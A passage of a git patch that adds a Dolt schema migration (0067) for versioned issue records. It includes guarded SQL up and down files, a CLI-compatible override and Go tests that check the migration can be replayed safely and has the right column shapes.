"never reaches this file" because only migrations/*.up.sql is embedded. True of the bundle, but a rollback file's consumer is a manual operator, and `dolt sql -f` on a pre-2.3 CLI reports success while dropping both tables and silently keeping both current_revision columns (dolthub/dolt#11345). Scope the claim to the bundle and steer manual rollback to a server connection or dolt >= 2.3. The Phase-1 "not a data-loss concern" sentence is accurate and is left alone; Phase 2 (#6135) revisits it. Same scoping applied to the identical claim in the test's down-side comment. - initschema_0067_versioned_beads_replay_test.go: the doc comment cited TestPR4107Migration0067ReplaysIdempotentlyAsRawSQL, which does not exist. Corrected to TestMigration0067ReplaysIdempotentlyAsRawSQLThroughPR4107Harness. Comment/test-only; no migration semantics change. --------- Co-authored-by: quad341 Co-authored-by: Eddie the Engineer --- ...schema_0067_versioned_beads_replay_test.go | 194 ++++++++++++++ internal/storage/schema/cli_migrations.go | 44 ++++ .../migration_0067_versioned_beads_test.go | 243 ++++++++++++++++++ .../0067_add_versioned_beads_schema.down.sql | 40 +++ .../0067_add_versioned_beads_schema.up.sql | 112 ++++++++ .../0026_add_wisps_current_revision.up.sql | 38 +++ internal/storage/schema/schema_test.go | 8 + release-gates/be-dy66n-gate.md | 92 +++++++ 8 files changed, 771 insertions(+) create mode 100644 internal/storage/dolt/initschema_0067_versioned_beads_replay_test.go create mode 100644 internal/storage/schema/migration_0067_versioned_beads_test.go create mode 100644 internal/storage/schema/migrations/0067_add_versioned_beads_schema.down.sql create mode 100644 internal/storage/schema/migrations/0067_add_versioned_beads_schema.up.sql create mode 100644 internal/storage/schema/migrations/ignored/0026_add_wisps_current_revision.up.sql create mode 100644 release-gates/be-dy66n-gate.md diff --git a/internal/storage/dolt/initschema_0067_versioned_beads_replay_test.go b/internal/storage/dolt/initschema_0067_versioned_beads_replay_test.go new file mode 100644 index 000000000..e96335828 --- /dev/null +++ b/internal/storage/dolt/initschema_0067_versioned_beads_replay_test.go @@ -0,0 +1,194 @@ +//go:build integration && !windows + +package dolt + +import ( + "context" + "database/sql" + "strings" + "testing" + "time" + + _ "github.com/go-sql-driver/mysql" + "github.com/steveyegge/beads/internal/storage/doltutil" + "github.com/steveyegge/beads/internal/storage/schema" +) + +// TestSchemaInitReplaysMigration0067WhenBookkeepingRowMissing reproduces, +// against a real shared dolt sql-server, the designated-migrator replay +// scenario for migration 0067 (issue_versions, store_epoch, +// issues.current_revision): the schema_migrations bookkeeping row for version +// 67 is missing, but the physical tables and column already exist from the +// original init — the same state stageBehindRemoteBackedDB +// (cmd/bd/protocol/versioning_contract_test.go) forges before +// TestProtocol_V2_DesignatedMigratorOverride runs `bd create` with +// BD_ALLOW_REMOTE_MIGRATE=1. +// +// Before the fix, replaying migration 67's frozen CREATE TABLE issue_versions +// dies with Error 1105 ("table with name issue_versions already exists"); +// once that's guarded, CREATE TABLE store_epoch would die the same way, and +// once both are guarded, ALTER TABLE issues ADD COLUMN current_revision would +// die on a duplicate-column error. All four guards now live in the frozen +// file itself: CREATE TABLE IF NOT EXISTS for the tables, and an +// INFORMATION_SCHEMA-probed PREPARE for each plane's ADD COLUMN (MySQL, which +// Dolt follows, has no ADD COLUMN IF NOT EXISTS — that is a MariaDB-only +// extension). Keeping the guard in the SQL rather than in the Go runtime path +// is what makes the file idempotent for callers that execute its bytes +// directly, which is the shape +// TestMigration0067ReplaysIdempotentlyAsRawSQLThroughPR4107Harness +// exercises. +func TestSchemaInitReplaysMigration0067WhenBookkeepingRowMissing(t *testing.T) { + skipIfNoDolt(t) + acquireTestSlot() + t.Cleanup(releaseTestSlot) + + if testServerPort == 0 { + t.Skip("no Dolt test server available") + } + + ctx, cancel := context.WithTimeout(context.Background(), 3*time.Minute) + defer cancel() + + rootDSN := doltutil.ServerDSN{Host: "127.0.0.1", Port: testServerPort, User: "root"}.String() + rootDB, err := sql.Open("mysql", rootDSN) + if err != nil { + t.Fatalf("open root connection: %v", err) + } + defer rootDB.Close() + + dbName := uniqueTestDBName(t) + if _, err := rootDB.ExecContext(ctx, "CREATE DATABASE IF NOT EXISTS `"+dbName+"`"); err != nil { + t.Fatalf("create database: %v", err) + } + + dbDSN := doltutil.ServerDSN{Host: "127.0.0.1", Port: testServerPort, User: "root", Database: dbName}.String() + db, err := sql.Open("mysql", dbDSN) + if err != nil { + t.Fatalf("open db connection: %v", err) + } + defer db.Close() + + // 1. Fully initialize to the latest schema — issue_versions, store_epoch, + // and issues.current_revision all physically exist afterward. + if _, err := initSchemaOnDB(ctx, db); err != nil { + t.Fatalf("initial initSchemaOnDB: %v", err) + } + latest := schema.LatestVersion() + assertSchemaVersionAtLeast(ctx, t, db, latest) + + // 2. Forge the exact state stageBehindRemoteBackedDB puts a clone in: the + // version-67 bookkeeping row is gone, but nothing about the physical + // tables/column changed. Commit the delete so it is not left staged — + // an uncommitted schema_migrations write would instead trip the + // unrelated "pending migration alters a dirty table" guard + // (gastownhall/beads#4566) before the replay is ever reached, same as + // the 0040/0041 forges above. + if _, err := db.ExecContext(ctx, "DELETE FROM schema_migrations WHERE version = 67"); err != nil { + t.Fatalf("rewind schema_migrations: %v", err) + } + if _, err := db.ExecContext(ctx, + "CALL DOLT_COMMIT('-Am', 'forge missing 0067 bookkeeping row, tables/column already applied')"); err != nil { + t.Fatalf("commit forged partial state: %v", err) + } + + // 3. Re-init replays migration 67 against a database that already has its + // tables and columns. RED (pre-fix): dies on Error 1105, "table with + // name issue_versions already exists" — the same failure + // TestProtocol_V2_DesignatedMigratorOverride hits at the full + // bd-binary integration level. GREEN (post-fix): CREATE TABLE IF NOT + // EXISTS plus the two guarded ADD COLUMNs make the replay a clean + // no-op, and the chain reaches latest again. + if _, err := initSchemaOnDB(ctx, db); err != nil { + if !strings.Contains(err.Error(), "already exists") { + t.Fatalf("re-init after forged missing 0067 bookkeeping row failed, but not with the expected Error 1105 \"already exists\" shape — want the same failure TestProtocol_V2_DesignatedMigratorOverride hits: %v", err) + } + t.Fatalf("re-init after forged missing 0067 bookkeeping row (this is the designated-migrator replay bug, be-xrl84): %v", err) + } + assertSchemaVersionAtLeast(ctx, t, db, latest) +} + +// TestMigration0067ReplaysIdempotentlyAsRawSQLThroughPR4107Harness is the +// raw-SQL half of the same guarantee, and the half no Go-side guard can +// provide. +// +// pr4107_corruption_test.go's runMigrationSQLFilesFrom re-executes the frozen +// .up.sql bytes from 0046 onward straight through the driver, against a store +// setupTestStore has already migrated to latest. Nothing in +// internal/storage/schema is in that path — not execMigrationBody, not any +// filename-keyed override — so every migration >= 0046 has to be idempotent +// as raw SQL on its own. 0067's two ADD COLUMNs are guarded on +// INFORMATION_SCHEMA for exactly this, and this test is the proof, run +// through that harness rather than a hand-written double-apply: the same call +// TestPR4107IssueIsBlockedMigrationMatchesRuntimeMixedGraphSemantics makes, +// made twice. +// +// It also pins that the guard NO-OPS rather than re-applies: a column whose +// replay silently dropped and re-added it would pass a mere "the column +// exists" check while resetting every row to the DEFAULT. Phase 1 writes no +// revisions, so the seeded value below is the only way to see that +// difference from here. +func TestMigration0067ReplaysIdempotentlyAsRawSQLThroughPR4107Harness(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + + ctx, cancel := testContext(t) + defer cancel() + + createPerm(t, ctx, store, "mig0067-replay-subject") + if _, err := store.db.ExecContext(ctx, + "UPDATE issues SET current_revision = 42 WHERE id = 'mig0067-replay-subject'"); err != nil { + t.Fatalf("seed current_revision: %v", err) + } + if _, err := store.db.ExecContext(ctx, ` + INSERT INTO issue_versions (issue_id, revision, epoch, change_at) + VALUES ('mig0067-replay-subject', 42, 1, '2026-09-05 00:00:00')`); err != nil { + t.Fatalf("seed issue_versions row: %v", err) + } + + for pass := 1; pass <= 2; pass++ { + runMigrationSQLFilesFrom(t, ctx, store, "../schema/migrations", 46) + + for _, table := range []string{"issues", "wisps"} { + if got := countColumn(t, ctx, store, table, "current_revision"); got != 1 { + t.Fatalf("pass %d: %s.current_revision column count = %d, want exactly 1", pass, table, got) + } + } + + var revision int64 + if err := store.db.QueryRowContext(ctx, + "SELECT current_revision FROM issues WHERE id = 'mig0067-replay-subject'").Scan(&revision); err != nil { + t.Fatalf("pass %d: read back current_revision: %v", pass, err) + } + if revision != 42 { + t.Fatalf("pass %d: issues.current_revision = %d, want the seeded 42 — the replay re-applied the ADD COLUMN instead of no-opping", pass, revision) + } + + var versionRows int + if err := store.db.QueryRowContext(ctx, + "SELECT COUNT(*) FROM issue_versions WHERE issue_id = 'mig0067-replay-subject'").Scan(&versionRows); err != nil { + t.Fatalf("pass %d: count issue_versions: %v", pass, err) + } + if versionRows != 1 { + t.Fatalf("pass %d: issue_versions row count = %d, want 1 — CREATE TABLE IF NOT EXISTS must not recreate the table", pass, versionRows) + } + + if got := countColumn(t, ctx, store, "store_epoch", "epoch"); got != 1 { + t.Fatalf("pass %d: store_epoch.epoch column count = %d, want 1", pass, got) + } + } +} + +// countColumn returns how many INFORMATION_SCHEMA.COLUMNS rows table.column +// has in the current database — 0 or 1 in practice, and the assertion that +// distinguishes "the guard held" from "the replay added a second one". +func countColumn(t *testing.T, ctx context.Context, store *DoltStore, table, column string) int { + t.Helper() + var n int + if err := store.db.QueryRowContext(ctx, ` + SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = ? AND COLUMN_NAME = ?`, + table, column).Scan(&n); err != nil { + t.Fatalf("count %s.%s: %v", table, column, err) + } + return n +} diff --git a/internal/storage/schema/cli_migrations.go b/internal/storage/schema/cli_migrations.go index 405c59c43..fd2db376c 100644 --- a/internal/storage/schema/cli_migrations.go +++ b/internal/storage/schema/cli_migrations.go @@ -126,6 +126,18 @@ func cliCompatibleMigrationSQL(name, sqlText string) string { // itself is always present here: 0064's prepared RENAME executes on // 2.2.0 (same measurement), so a fresh bundle always needs the column. return cliMigration0066AddEventsJournalActor + case "0067_add_versioned_beads_schema.up.sql": + // Direct DDL for the same reason as 0060: the source migration's + // PREPARE guards (INFORMATION_SCHEMA probes) are what make the raw + // .up.sql idempotent when replayed onto an already-migrated store, + // and the 2.2.x CLI no-ops a prepared ADD COLUMN. Both planes always + // need the column here -- a fresh bundle runs the whole main series + // in order, so `issues` and `wisps` both exist and neither carries + // current_revision yet. The CREATE TABLEs are carried over verbatim: + // IF NOT EXISTS is ordinary unwrapped DDL that the CLI executes. + // Replays over a database that never synced the wisp tables must use + // the frozen source text instead -- see cliSubstituteAssumesWispTables. + return cliMigration0067AddVersionedBeadsSchema default: return sqlText } @@ -158,6 +170,10 @@ func cliSubstituteAssumesWispTables(name string) bool { // cliMigration0065WidenWispCommentsText is a bare MODIFY on // wisp_comments. return true + case "0067_add_versioned_beads_schema.up.sql": + // cliMigration0067AddVersionedBeadsSchema drops the source's + // @wisps_cr_needs_add table-exists guard and ALTERs wisps directly. + return true default: return false } @@ -205,6 +221,34 @@ ALTER TABLE wisps ADD COLUMN storage_class VARCHAR(16);` const cliMigration0065WidenWispCommentsText = `ALTER TABLE wisp_comments MODIFY COLUMN text LONGTEXT NOT NULL;` const cliMigration0066AddEventsJournalActor = `ALTER TABLE bd_events_journal ADD COLUMN actor VARCHAR(255) NOT NULL DEFAULT '';` +// cliMigration0067AddVersionedBeadsSchema is 0067 with its two guarded +// PREPARE blocks replaced by the direct ALTERs they would run on a fresh +// database. The CREATE TABLEs are the source file's own text: CREATE TABLE +// IF NOT EXISTS executes on the CLI batch path unchanged. +const cliMigration0067AddVersionedBeadsSchema = `CREATE TABLE IF NOT EXISTS issue_versions ( + issue_id VARCHAR(255) NOT NULL, + revision BIGINT NOT NULL, + epoch INT NOT NULL, + durable_state JSON, + change_actor VARCHAR(255), + change_agent VARCHAR(255), + change_message TEXT, + change_at DATETIME NOT NULL, + removed_at DATETIME, + removed_reason VARCHAR(255), + PRIMARY KEY (issue_id, revision) +); +CREATE TABLE IF NOT EXISTS store_epoch ( + id TINYINT(1) NOT NULL DEFAULT 1, + epoch INT NOT NULL DEFAULT 1, + bumped_at DATETIME, + bumped_reason VARCHAR(255), + PRIMARY KEY (id), + CONSTRAINT ck_store_epoch_singleton CHECK (id = 1) +); +ALTER TABLE issues ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1; +ALTER TABLE wisps ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1;` + const cliMigration0041SplitDependenciesTarget = `DELETE FROM dolt_nonlocal_tables; CALL DOLT_COMMIT('-Am', 'disable nonlocal tables for fk migrations'); SET FOREIGN_KEY_CHECKS = 0; diff --git a/internal/storage/schema/migration_0067_versioned_beads_test.go b/internal/storage/schema/migration_0067_versioned_beads_test.go new file mode 100644 index 000000000..c4f95c6d0 --- /dev/null +++ b/internal/storage/schema/migration_0067_versioned_beads_test.go @@ -0,0 +1,243 @@ +package schema + +import ( + "fmt" + "os" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/testutil" +) + +// Phase 1 of the versioned-beads epic (be-hs42e / gastownhall/beads#6132, +// this slice: be-hs42e.2 / #6134) adds purely additive schema: a per-issue +// version log, a store-global epoch singleton, and a fast-path revision +// column on issues. Nothing reads or writes these surfaces yet — that is +// Phase 2 (#6135) and Phase 3 (#6136). These tests only assert the DDL +// itself: shape, emptiness, and that old, unmodified callers of `issues` +// are unaffected. + +const migration0067Up = "0067_add_versioned_beads_schema.up.sql" +const migration0067Down = "0067_add_versioned_beads_schema.down.sql" + +// TestLatestVersionIncludesMigration0067 pins the real next free slot this +// phase claims. It is deliberately a hardcoded literal, not a comparison +// against another derived value: schema.LatestVersion() drifting to 67 for +// the wrong reason (an unrelated migration landing first) should still be +// caught by this test failing to explain why 67 is versioned-beads-shaped, +// which the CLI test below checks. +func TestLatestVersionIncludesMigration0067(t *testing.T) { + const want = 67 + if got := LatestVersion(); got != want { + t.Fatalf("LatestVersion() = %d, want %d (issue_versions/store_epoch/issues.current_revision migration slot claimed by be-hs42e.2)", got, want) + } +} + +// TestMigration0067AddsVersionedBeadsSchema is a pure-Go, DB-independent +// check of the frozen migration bytes themselves — it runs even where no +// `dolt` binary is available. +// +// It pins the shape both ADD COLUMNs must keep: an INFORMATION_SCHEMA-guarded +// PREPARE, on both planes. That guard is not decoration — it is what makes a +// raw replay of this file onto an already-migrated store a no-op, which +// internal/storage/dolt's pr4107 replay harness requires of every migration +// >= 0046 (it re-executes the .up.sql bytes directly, so no Go-side guard is +// in the path). Dolt accepts no unprepared conditional DDL that would do the +// same job: ADD COLUMN IF NOT EXISTS, DROP COLUMN IF EXISTS and a top-level +// IF are all parse errors, and a stored procedure's body needs a client-side +// DELIMITER the CLI batch path requires and the Go driver rejects. +// +// The cost is the pre-2.3 CLI hazard a PREPARE'd ADD COLUMN carries (it +// silently vanishes on the CLI-bundle path — see cli_prepared_ddl.go), and +// the fix for that is the same one 0060/0065/0066 use: a direct-DDL override +// in cliCompatibleMigrationSQL, which +// TestBundleMigrationsWithPreparedALTERAreOverriddenOrJustified and +// TestAllMigrationsSQLUsesDirectDDLForKnownCLIIncompatibilities both police. +// The assertion below is the local anchor for that pairing: if someone ever +// unwraps these PREPAREs, the override silently becomes a lie. +func TestMigration0067AddsVersionedBeadsSchema(t *testing.T) { + upSQL, err := MigrationSQL(migration0067Up) + if err != nil { + t.Fatalf("MigrationSQL(%s) error = %v, want the migration file to exist", migration0067Up, err) + } + for _, want := range []string{ + "CREATE TABLE IF NOT EXISTS issue_versions", + "CREATE TABLE IF NOT EXISTS store_epoch", + "PRIMARY KEY (issue_id, revision)", + "ALTER TABLE issues ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1", + // Shape parity with issues, identical type. Nothing reads or writes + // this column in any phase — see the migration header's asymmetry + // note and ignored/0026. + "ALTER TABLE wisps ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1", + // Both ALTERs are INFORMATION_SCHEMA-guarded so a raw replay no-ops. + "COLUMN_NAME = 'current_revision'", + "@issues_cr_needs_add", + "@wisps_cr_needs_add", + // The wisps arm carries a second sub-guard the issues arm does not: + // the table itself must exist, so a drifted store that never + // materialized the clone-local wisp tables no-ops instead of + // aborting the whole batch. No test executes that arm against an + // absent wisps table — the full-chain test seeds bounded at v46 and + // 0047's repair recreates wisps before 0067's frozen text runs — so + // this string pin is the only thing standing between dropping the + // sub-guard and a still-green suite. It has to be the TABLES probe: + // the file's other TABLE_NAME = 'wisps' occurrence is the COLUMNS + // probe below, which survives dropping the table-exists arm. + "FROM INFORMATION_SCHEMA.TABLES", + "WHERE TABLE_SCHEMA = DATABASE() AND TABLE_NAME = 'wisps') > 0", + } { + if !strings.Contains(upSQL, want) { + t.Errorf("0067 up migration missing %q\nfull SQL:\n%s", want, upSQL) + } + } + if !strings.Contains(strings.ToUpper(upSQL), "PREPARE STMT FROM @SQL") { + t.Error("0067 up migration must keep its guarded PREPARE blocks — they are what make a raw .up.sql replay onto an already-migrated store a no-op (pr4107_corruption_test.go's harness bypasses every Go-side guard), and Dolt accepts no unprepared conditional ADD COLUMN. Unwrapping them also invalidates cliMigration0067AddVersionedBeadsSchema.") + } + // The bundle override is what keeps the PREPARE above off the pre-2.3 + // CLI path. Assert it directly rather than trusting the two schema_test + // assertions to stay pointed at this migration. + for _, want := range []string{ + "ALTER TABLE issues ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1;", + "ALTER TABLE wisps ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1;", + } { + if !strings.Contains(cliCompatibleMigrationSQL(migration0067Up, upSQL), want) { + t.Errorf("0067's CLI bundle substitute missing direct DDL %q", want) + } + } + if !cliSubstituteAssumesWispTables(migration0067Up) { + t.Error("0067's CLI substitute ALTERs wisps unguarded, so it must be listed in cliSubstituteAssumesWispTables — a replay over a clone that never synced the wisp tables has to fall back to the frozen source text") + } + if strings.Contains(upSQL, "INSERT INTO store_epoch") || strings.Contains(upSQL, "INSERT IGNORE INTO store_epoch") { + t.Error("0067 up migration must not seed store_epoch — every new table starts empty in Phase 1 (no reads/writes of the new surfaces until Phase 2)") + } + + // down.sql files are not part of the embedded FS (only migrations/*.up.sql + // is //go:embed'd — see mainSource.files), so unlike the up side above, + // this reads straight from disk by package-relative path, matching + // TestMigration0035HandlesLegacyWispDependenciesShape's precedent. + downBytes, err := os.ReadFile("migrations/" + migration0067Down) + if err != nil { + t.Fatalf("read %s: %v, want the migration file to exist", migration0067Down, err) + } + downSQL := string(downBytes) + for _, want := range []string{ + "DROP TABLE", + "issue_versions", + "store_epoch", + "ALTER TABLE issues DROP COLUMN current_revision", + // The down side reverses both planes, or a rolled-back workspace + // keeps a wisps column its binary no longer knows about. + "ALTER TABLE wisps DROP COLUMN current_revision", + } { + if !strings.Contains(downSQL, want) { + t.Errorf("0067 down migration missing %q\nfull SQL:\n%s", want, downSQL) + } + } + // Only migrations/*.up.sql is embedded into the CLI fresh bundle + // (mainSource.files), so the pre-2.3 prepared-DDL hazard never reaches a + // down migration through the bundle and the guard is free there — 0060's + // down is the precedent. A manual `dolt sql -f` rollback on a pre-2.3 CLI + // does hit it (the DROP COLUMNs silently no-op); the down file's own + // header steers operators to a server connection or dolt >= 2.3. + if !strings.Contains(strings.ToUpper(downSQL), "PREPARE STMT FROM @SQL") { + t.Error("0067 down migration must guard its DROP COLUMNs the way the up migration guards its ADD COLUMNs, so an issues-only or partially-applied workspace rolls back as safely as it migrated up") + } +} + +// TestMigration0067AddsVersionedBeadsSchemaThroughDoltCLI applies the full +// migration bundle through a real `dolt` binary (skipped without one — see +// testutil.RequireDoltBinary) and checks the shape acceptance criteria a +// pure-Go SQL-text check cannot: actual column types/nullability as Dolt +// reports them, that both new tables start empty, that the composite and +// singleton primary keys are enforced, and compat direction 1 — an +// old-shaped INSERT/SELECT against `issues` that has never heard of +// current_revision still behaves unchanged, because the column is +// NOT NULL DEFAULT 1 rather than a value old callers must supply. +func TestMigration0067AddsVersionedBeadsSchemaThroughDoltCLI(t *testing.T) { + testutil.RequireDoltBinary(t) + + dir := t.TempDir() + runDoltCommand(t, dir, "init", "--name", "test", "--email", "test@example.com") + runDoltSQL(t, dir, AllMigrationsSQL()) + + // issue_versions shape. + requireDoltColumnShape(t, dir, "issue_versions", "issue_id", "varchar(255)", "NO") + requireDoltDataType(t, dir, "issue_versions", "revision", "bigint", "NO") + requireDoltDataType(t, dir, "issue_versions", "epoch", "int", "NO") + requireDoltDataType(t, dir, "issue_versions", "durable_state", "json", "YES") + requireDoltColumnShape(t, dir, "issue_versions", "change_actor", "varchar(255)", "YES") + requireDoltColumnShape(t, dir, "issue_versions", "change_agent", "varchar(255)", "YES") + requireDoltColumnShape(t, dir, "issue_versions", "change_message", "text", "YES") + requireDoltColumnShape(t, dir, "issue_versions", "change_at", "datetime", "NO") + requireDoltColumnShape(t, dir, "issue_versions", "removed_at", "datetime", "YES") + requireDoltColumnShape(t, dir, "issue_versions", "removed_reason", "varchar(255)", "YES") + requireDoltNoRows(t, dir, "SELECT issue_id FROM issue_versions", "issue_versions") + + // store_epoch shape — singleton table, starts empty (Phase 1 does not + // seed it; a later phase's lazy-init owns creating the id=1 row). + requireDoltColumnShape(t, dir, "store_epoch", "id", "tinyint(1)", "NO") + requireDoltDataType(t, dir, "store_epoch", "epoch", "int", "NO") + requireDoltColumnShape(t, dir, "store_epoch", "bumped_at", "datetime", "YES") + requireDoltColumnShape(t, dir, "store_epoch", "bumped_reason", "varchar(255)", "YES") + requireDoltNoRows(t, dir, "SELECT id FROM store_epoch", "store_epoch") + + // current_revision on BOTH planes. issues.current_revision is the + // fast-path CAS column later phases read and write; wisps.current_revision + // is shape parity only (nothing ever reads or writes it — see the + // migration header and ignored/0026), and it is asserted here for exactly + // the reason the parity oracle exists: the two planes share + // column-list-shaped code paths, so the shape obligation is real even + // where the semantics are not. Same type on both, or + // TestSchemaParityIssuesVsWisps' type check fails instead of its + // name check. + requireDoltDataType(t, dir, "issues", "current_revision", "bigint", "NO") + requireDoltDataType(t, dir, "wisps", "current_revision", "bigint", "NO") + + // Composite PK (issue_id, revision) is enforced: same pair twice fails. + runDoltSQL(t, dir, `INSERT INTO issue_versions (issue_id, revision, epoch, change_at) VALUES ('iv-1', 1, 1, '2026-09-01 00:00:00')`) + if err := runDoltSQLExpectingError(t, dir, `INSERT INTO issue_versions (issue_id, revision, epoch, change_at) VALUES ('iv-1', 1, 1, '2026-09-01 00:00:01')`); err == nil { + t.Error("duplicate (issue_id, revision) insert into issue_versions succeeded, want primary key violation") + } + + // Singleton PK (id) is enforced the same way. + runDoltSQL(t, dir, `INSERT INTO store_epoch (id) VALUES (1)`) + if err := runDoltSQLExpectingError(t, dir, `INSERT INTO store_epoch (id) VALUES (1)`); err == nil { + t.Error("duplicate id=1 insert into store_epoch succeeded, want primary key violation") + } + if err := runDoltSQLExpectingError(t, dir, `INSERT INTO store_epoch (id) VALUES (2)`); err == nil { + t.Error("id=2 insert into store_epoch succeeded, want the singleton CHECK constraint to reject any id other than 1") + } + + // Compat direction 1: an old (pre-Phase-1) binary only ever issues + // explicit-column statements against `issues` that don't mention + // current_revision. Those must still work unchanged post-migration. + runDoltSQL(t, dir, `INSERT INTO issues (id, title, description, design, acceptance_criteria, notes) VALUES ('old-style-1', 'Old-style insert', 'd', 'des', 'ac', 'n')`) + rows := queryDoltCSV(t, dir, `SELECT title FROM issues WHERE id = 'old-style-1'`) + if len(rows) != 1 || rows[0]["title"] != "Old-style insert" { + t.Fatalf("old-shaped explicit-column insert/select round-trip failed post-migration: %v", rows) + } +} + +// requireDoltDataType is requireDoltColumnShape's data_type-based sibling: +// it asserts the coarse, display-width-independent information_schema +// column (always "bigint"/"int"/"json", never e.g. "bigint(20)"), for +// column types this package has no existing column_type-string precedent +// to match against. +func requireDoltDataType(t *testing.T, dir, tableName, columnName, wantDataType, wantNullable string) { + t.Helper() + rows := queryDoltCSV(t, dir, fmt.Sprintf(` +SELECT data_type AS data_type, is_nullable AS is_nullable +FROM information_schema.columns +WHERE table_schema = DATABASE() + AND table_name = %s + AND column_name = %s`, doltSQLString(tableName), doltSQLString(columnName))) + if len(rows) != 1 { + t.Fatalf("%s.%s column query returned %d rows, want 1: %v", tableName, columnName, len(rows), rows) + } + if got := rows[0]["data_type"]; got != wantDataType { + t.Fatalf("%s.%s DATA_TYPE = %s, want %s", tableName, columnName, got, wantDataType) + } + if got := rows[0]["is_nullable"]; got != wantNullable { + t.Fatalf("%s.%s IS_NULLABLE = %s, want %s", tableName, columnName, got, wantNullable) + } +} diff --git a/internal/storage/schema/migrations/0067_add_versioned_beads_schema.down.sql b/internal/storage/schema/migrations/0067_add_versioned_beads_schema.down.sql new file mode 100644 index 000000000..83774f91b --- /dev/null +++ b/internal/storage/schema/migrations/0067_add_versioned_beads_schema.down.sql @@ -0,0 +1,40 @@ +-- Reverse of 0067. Every surface this reverses is still unread and unwritten +-- in Phase 1, so this is a plain schema rollback, not a data-loss concern. +-- +-- Guarded on INFORMATION_SCHEMA the same way the up migration is, so an +-- issues-only or partially-applied workspace rolls back as safely as it +-- migrated up (0060's down is the precedent). Only migrations/*.up.sql is +-- embedded into the CLI fresh bundle, so the PREPARE hazard +-- (cli_prepared_ddl.go) never reaches this file through the bundle. It does +-- reach a manual rollback: run this through a server connection or dolt +-- >= 2.3, because a pre-2.3 `dolt sql -f` silently no-ops the guarded DROP +-- COLUMNs (dolthub/dolt#11345) while still dropping the tables, leaving both +-- current_revision columns behind. The residue is inert in Phase 1 -- nothing +-- reads the columns, both planes keep them so parity holds, and re-running +-- the up migration no-ops -- but the rollback is partial while reporting +-- success. 0060's down carries the same hazard. +SET @issues_cr_has = ( + SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'issues' + AND COLUMN_NAME = 'current_revision' +); +SET @sql = IF(@issues_cr_has > 0, + 'ALTER TABLE issues DROP COLUMN current_revision', + 'SELECT 1'); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @wisps_cr_has = ( + SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'wisps' + AND COLUMN_NAME = 'current_revision' +); +SET @sql = IF(@wisps_cr_has > 0, + 'ALTER TABLE wisps DROP COLUMN current_revision', + 'SELECT 1'); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +DROP TABLE IF EXISTS store_epoch; + +DROP TABLE IF EXISTS issue_versions; diff --git a/internal/storage/schema/migrations/0067_add_versioned_beads_schema.up.sql b/internal/storage/schema/migrations/0067_add_versioned_beads_schema.up.sql new file mode 100644 index 000000000..7f26e52df --- /dev/null +++ b/internal/storage/schema/migrations/0067_add_versioned_beads_schema.up.sql @@ -0,0 +1,112 @@ +-- Migration 0067: Phase 1 schema for versioned beads (be-hs42e / gastownhall/beads#6132, +-- this slice: be-hs42e.2 / #6134). +-- +-- Purely additive: a per-issue version log (issue_versions), a store-global +-- epoch singleton (store_epoch), and a fast-path revision column on BOTH +-- record planes (issues.current_revision, wisps.current_revision). Nothing +-- reads or writes these surfaces yet -- CAS enforcement, dual-write and +-- epoch-bump logic land in Phase 2 (#6135) and Phase 3 (#6136). No +-- DML/backfill here: current_revision has a safe default for every existing +-- row, and both new tables start completely empty. +-- +-- SEMANTIC ASYMMETRY, DELIBERATE: only the issues column is ever read or +-- written. Versioning is an issues-plane contract -- wisps are the ephemeral +-- plane and no phase of this epic (2 or 3) will CAS on, bump, or log a wisp +-- revision. The wisps column is a SHAPE obligation, not a semantic one: +-- issues and wisps share the row shape and the shared scans build one column +-- list for both tables (TestSchemaParityIssuesVsWisps in +-- internal/storage/dolt enforces strict column-name parity with no exemption +-- list), so a column on one plane only is a live drift hazard for +-- column-list-shaped code paths regardless of whether anything reads it. +-- wisps.row_lock (0054 + ignored/0013) is the precedent: carried on both +-- planes, meaningful on one. +-- +-- The CREATE TABLEs are guarded with IF NOT EXISTS -- ordinary, unwrapped +-- MySQL-flavored DDL -- so a designated-migrator replay (schema_migrations +-- bookkeeping row missing, e.g. BD_ALLOW_REMOTE_MIGRATE=1 against a clone +-- that already has these tables) doesn't die on Error 1105. +-- +-- The ADD COLUMNs have no equivalent IF NOT EXISTS: MySQL, which Dolt +-- follows, has never had that construct for ADD COLUMN (it's a MariaDB-only +-- extension; measured on dolt 2.2.3 -- `syntax error at position 33 near +-- 'IF'`). Neither does Dolt accept `DROP COLUMN IF EXISTS` or a top-level +-- IF. The only conditional DDL forms Dolt does accept are the PREPARE guard +-- below and a stored procedure, and a procedure body's inner semicolons +-- need a client-side DELIMITER that the CLI batch path requires and the Go +-- driver rejects -- the frozen file cannot satisfy both. So these are the +-- guarded PREPARE shape 0060 and 0066 already use for exactly this: their +-- INFORMATION_SCHEMA probe makes a raw-SQL replay of this whole file a clean +-- no-op on an already-migrated store, which is what +-- pr4107_corruption_test.go's replay harness (raw .up.sql from 0046 onward +-- onto a live store) requires of every migration >= 0046. +-- +-- A PREPARE'd ADD COLUMN silently vanishes under the CLI-bundle path on a +-- pre-2.3 Dolt CLI (dolthub/dolt#11345; see cli_prepared_ddl.go), so the +-- fresh bundle gets a direct-DDL override -- cliMigration0067AddVersionedBeadsSchema +-- in cli_migrations.go, the same escape hatch 0060/0065/0066 use, guarded by +-- TestBundleMigrationsWithPreparedALTERAreOverriddenOrJustified. +-- +-- wisps is dolt-ignored (clone-local), so this file's wisps ALTER never runs +-- on a fresh clone: it ships with the ignored-series twin ignored/0026, the +-- mechanism check D of scripts/check-migration-hygiene.sh enforces and +-- ignored/0013 (0054's row_lock) and ignored/0020 (0060's storage_class) +-- record. +CREATE TABLE IF NOT EXISTS issue_versions ( + issue_id VARCHAR(255) NOT NULL, + revision BIGINT NOT 